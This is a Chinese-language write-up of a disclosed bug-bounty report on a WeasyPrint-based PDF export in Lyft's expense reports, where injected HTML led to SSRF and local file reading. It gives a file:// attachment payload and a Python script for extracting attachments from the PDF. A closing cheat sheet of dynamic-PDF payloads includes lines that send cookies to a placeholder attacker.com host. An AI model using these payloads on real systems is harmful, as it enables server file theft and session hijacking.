My Expense Report resulted in a Server-Side Request Forgery (SSRF) on Lyft

#885975 My Expense Report resulted in a Server-Side Request Forgery (SSRF) on Lyft (hackerone.com)

Kozea/WeasyPrint: The awesome document factory (github.com)

起因

Lyft提供了导出消费账单的功能,有PDF和CSV格式,原文作者通过嵌入html标签,发现pdf中标签被解析,进而开始进行挖掘。

过程

html被解析,思考是否有可能访问外部资源,构建img标签访问可控服务器,获取到User-Agent为WeasyPrint,从而知道使用了开源的PDF生成器,目标变成在WeasyPrint的解析上找问题。

黑盒测试发现只允许一小部分html标签,没有javascript支持,也没有iframe或者类似的标签支持。

白盒审计在html.py中发现内置的标签处理,在pdf.py和其他的文件中发现link的引用,构造payload进行本地读取。

<link rel=attachment href="file:///root/secret.txt">

pdf文件下载后进行文件分离,原文是用python和zlib库写了脚本,网上也有类似的ctf题,可以用binwalk进行自动分离。

[FireshellCTF2020]URL TO PDF_url_to_pdf_Sk1y的博客

import sys, zlib

def main(fn):
    data = open(fn, 'rb').read()
    i = 0
    first = True
    last = None
    while True:
        i = data.find(b'>>\nstream\n', i)
        if i == -1:
            break
        i += 10
        try:
            last = cdata = zlib.decompress(data[i:])
            if first:
                first = False
            else:
                pass#print cdata
        except:
            pass
    print(last.decode('utf-8'))

if __name__=='__main__':
    main(*sys.argv[1:])

拓展

Server Side XSS (Dynamic PDF)

动态PDF漏洞探测:

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">